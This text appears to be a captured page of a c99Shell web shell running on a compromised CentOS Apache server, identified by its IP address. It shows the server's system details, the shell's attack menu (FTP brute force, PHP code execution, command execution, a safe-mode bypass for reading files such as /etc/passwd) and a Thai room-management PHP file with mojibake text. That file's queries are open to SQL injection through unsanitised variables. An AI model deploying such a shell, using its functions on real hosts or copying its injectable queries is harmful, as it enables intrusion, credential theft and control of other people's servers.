110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/manage_depart/ drwxr-xr-x Free 51.01 GB of 127.8 GB (39.91%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout


<?php

include("../include/FunctionDB.php");

include("../include/Function.php");

ConnectDB();

$sql ="Select * From room_tb Where    code='$code'";

$result = mysql_query($sql) or die("Error".mysql_error());

$rs = mysql_fetch_array($result);

?>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<link href="../source/style.css" rel="stylesheet" type="text/css">

<title><?=$_Config_sitename;?></title><p><fieldset><br />

<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#DDDDDD" style=" border:0px solid gray"size="12">

  <tr bgcolor="#BFD0E6">

    <td colspan="3" bgcolor="#FFFFFF"><div align="center"></div></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td width="26%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ЄЧиННТ¤ТГ</font></div></td>

    <td width="42%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">

      <?php

               $BuildD_No =  $rs[BuildD_No];

               $sql2= "Select * From building_tb  Where  BuildD_No='$BuildD_No' ";

               $result2 = mysql_query($sql2) or die("Error Select".mysql_query());

               $rs2 = mysql_fetch_array($result2);

               echo"$rs2[Build_name]";

               ?>

    </font></td>

    <td width="32%" rowspan="8" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><img src="../Man_pic/<?php echo $rs['Img1']; ?>" width="326" height="230" /></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">»ГРаА·ЛйН§</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Room_type]?></font> </td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ЛБТВаЕўЛйН§</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Room_code]?></font></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ЄЧиНЛйН§</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Room_name]?></font></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ЁУ№З№ЛйН§¤ЗТБЁШ 

      (¤№)</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Size]?></font></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ѕЧй№·Хи/</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Area]?></font></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">БФаµНГмдї»СЁЁШєС№</font></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Eletric_meter]?></font></td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"></div></td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

  </tr>

  <tr bgcolor="#eeeeee">

    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

  </tr>

  <tr bgcolor="#BFD0E6">

    <td height="20" colspan="3" bgcolor="#FFFFFF"><div align="center">

      <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1" />

    </div></td>

  </tr>

</table>

</fieldset>

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Command execute ::
Enter:	Select: